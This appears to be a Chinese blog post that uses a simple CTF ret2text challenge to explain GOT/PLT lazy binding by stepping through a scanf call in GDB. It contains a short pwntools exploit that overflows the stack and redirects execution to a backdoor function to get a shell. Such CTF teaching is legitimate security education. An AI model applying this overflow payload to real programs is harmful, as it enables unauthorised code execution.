从 scanf 调用到 libc 执行:GOT/PLT 与延迟绑定的动态解析之旅

2025博客之星年度评选已开启 10w+人浏览 1.1k人参与

前段时间看到翁凯老师的一段话感觉特别励志,分享给大家:

学计算机一定要有一个非常强大的心理状态,计算机的所有东西都是人做出来的,别人能想得出来,我也一定能想得出来,在计算机里头没有任何黑魔法,所有的东西只不过是我现在不知道而已,总有一天我会把所有的细节、所有的内部的东西全都搞明白的,那个 scanf 里面到底怎么做事情的,只不过我们现在才刚开始学习,我们还没有来得及去看 scanf 的原始的代码是怎么样的,scanf 也不过是个函数,也不过是某个人给它写出来的,那个人和我们一样,同样只有一个脑袋而已。


目录

一、题目概述

二、GDB动调


接下来我们将以一道很简单的 ret2text 题目为例进行 gdb 调试

为了方便理解我们还是简述一下题目信息


一、题目概述

64 位程序,开启 NX 保护

存在栈溢出

存在后门函数

思路:利用 scanf 栈溢出,劫持返回地址为后门函数的地址

exp:

from pwn import *
io = process('./pwn')
offset = 56
fact_addr = 0x40059A
payload = cyclic(offset)+p64(fact_addr)
io.sendline(payload)
io.interactive()

二、GDB动调

第一个参数是格式字符串 "%s",它告诉 scanf 函数:

从标准输入(stdin)中读取一个 字符串 (string),直到遇到空白字符(空格、换行符或 Tab)为止。

第二个参数是通过寄存器 rsi 传递,这里这个地址: 0x7ffd7a256780 是程序想要将读取到的字符串内容写入的内存地址

那么这里就会从栈顶开始写入

00:0000│ rsi rsp 0x7ffd7a256780 ◂— 2

接下来涉及到调用函数,也就是 call scanf@plt

会先将下一条指令压入栈

这里也就是:

0x4005ca <main+30>    mov    eax, 0 

si 进入 scanf 函数,可以看到下一条指令被压入到栈顶

这是程序第一次调用 scanf 函数,它并不知道 scanf 在内存中的确切位置

这里我们需要认识一个新东西:Linux 延迟绑定机制

核心思想: 只有当程序第一次调用一个外部共享库函数时,才进行该函数的地址查找(符号解析)和重定位工作。在此之前,程序只知道如何跳转到 PLT 代码。

优点: 显著加快程序的启动速度,因为大多数程序在一次运行中并不会用到它依赖的所有外部函数。

GOT (全局偏移表 - Global Offset Table)

GOT 是一个位于程序数据段(通常是可读写)的表格。它是连接应用程序代码和外部库函数的核心桥梁

作用:

  • 存储地址: GOT 表的每个条目最终都存储了它所代表的外部函数的实际内存地址

  • 可写性: 延迟绑定需要 GOT 表是可写的,以便动态链接器可以在运行时修改条目。

PLT (过程链接表 - Procedure Linkage Table)

PLT 是一个位于程序代码段(通常是可执行)的小代码块。它是应用程序代码调用外部函数的跳板

作用:

  • 间接跳转: PLT 代码接收应用程序的函数调用,然后执行一个间接跳转指令,跳转的目标地址从 GOT 表中读取。

  • 延迟触发: 它的设计保证了在函数第一次被调用时,能够将控制权交给动态链接器进行解析。

区域/结构类型存储内容
GOT 表 (.got.plt)数据 (可写)存储最终解析到的 函数地址
PLT 表 (.plt)代码 (可执行)包含跳转到 GOT 表或动态链接器的 汇编指令

PLT 和 GOT 的任务就是让程序暂停,找到这个地址,更新记录,然后跳转到真正的函数体

首先:从 main 函数到 PLT

地址汇编指令作用
0x4005c5call __isoc99_scanf@plt将返回地址 (0x4005ca) 压入栈,然后跳转到 PLT 中 scanf 的入口:0x400480

接下来,PLT 自身跳转(第一次调用)

首先是:

0x400480   <__isoc99_scanf@plt>    jmp    qword ptr [rip + 0x200ba2]  <__isoc99_scanf@plt+6>

CPU 计算出 rip + 0x200ba2,这个地址就是 GOT 表中为 scanf 保留的条目地址(我们称之为 GOT[scanf]

在程序刚启动时,动态链接器在加载程序时已经初始化了 GOT[scanf] 的内容

这个初始内容不是 scanf 的实际地址

而是指向 scanf 在 PLT 中代码块的第二条指令的地址:0x400486  

jmp qword ptr [0x601018]  //相当于执行 jmp 0x400486

说白了就是回到 PLT 自身的第二条指令

接着:

0x400486     <__isoc99_scanf@plt+6>         push   2

2 被压入栈中,这个 2重定位索引号,是动态链接器用来查找 scanf 函数名字和地址的“身份证号”。

然后:

0x40048b       <__isoc99_scanf@plt+11>            jmp    0x400450

这是一次无条件跳转,目标是 PLT[0]

PLT[0] 是用于跳转到动态链接器的,是整个程序中所有未解析的库函数调用的通用入口

所有需要动态解析的函数,在执行完 push 自己的索引号之后,都会跳转到 PLT[0] 去启动动态链接器。

接下来 PLT 通用入口 (PLT[0]):准备解析

从应用程序代码(PLT)向系统动态链接器(ld-linux.so)移交控制权

PLT[0] 的作用是:

  1. 将动态链接器所需的 第二个参数(Link Map 地址)压入栈中。

  2. 无条件地跳转到动态链接器的入口点 (_dl_runtime_resolve)。

0x400450     push   qword ptr [rip + 0x200bb2]

将内存地址 rip + 0x200bb2 处存放的一个 8 字节(qword)值压入栈中,即压入 Link Map 地址

同样使用 rip 相对寻址,rip + 0x200bb2 指向 GOT 表的第二个条目,即 GOT[1]

存储的 Link Map 结构体地址,这是动态链接器工作所需的上下文信息

 0x400456        jmp    qword ptr [rip + 0x200bb4]  <_dl_runtime_resolve_xsavec>

跳转到动态链接器: 这是一个跳转到 GOT[2] 存储的地址

GOT[2] 存放的是动态链接器(ld-linux.so)中的运行时符号解析函数 _dl_runtime_resolve 的入口

这条指令的作用是:将程序控制权从应用程序代码彻底移交给动态链接器 ld-linux.so

往下走,来到:

call   _dl_fixup 

调用 _dl_fixup,这是真正执行符号查找GOT 表更新的函数

_dl_fixup 是动态链接器(ld-linux.so)的核心函数,它的代码位于系统的共享库中

它执行的是非常复杂的,与操作系统和 ELF 文件格式紧密相关的任务

使用 finish 命令跳过复杂的 _dl_fixup 内部逻辑

call _dl_fixup 结束,GOT 表被更新

后续进行一些清理和跳转,最终,R11 中保存着 _dl_fixup 返回的、且已经被确认的 scanf 地址:0x7cafef862090

jmp r11

将控制流移交给 libc 中的 scanf 函数,执行 scanf 函数

scanf 函数执行完毕,返回地址被覆盖为我们的目标地址:0x40059A

ret 就会跳到 fact 函数

接着给 system 函数传参,然后调用,getshell

具体观察 GOT 条目的变化

_isoc99_scanf 对应的 GOT 条目的初始状态:

  • GOT 地址: 0x601028

  • 初始内容: 0x0000000000400486 (__isoc99_scanf@plt+6)

指向 scanf 在 PLT 中代码块的第二条指令的地址:0x400486

往下走,执行完 call _dl_fixup,再次查看:

pwndbg> x/gx 0x601028
0x601028 <__isoc99_scanf@got.plt>:      0x0000704189462090

GOT[scanf] 条目 (0x601028),它的内容已经被更新为 0x0000704189462090

0x0000704189462090 就是 __isoc99_scanf 函数的真实内存地址

至此,从应用程序代码到 scanf 的连接已经完成。

之后任何对 __isoc99_scanf@plt 的调用都会直接跳转到 0x704189462090,而不会再次触发动态链接解析过程。

不过程序每次运行,这个 GOT 条目的值都会被动态链接器更新为新的、随机的地址。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

My6n

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值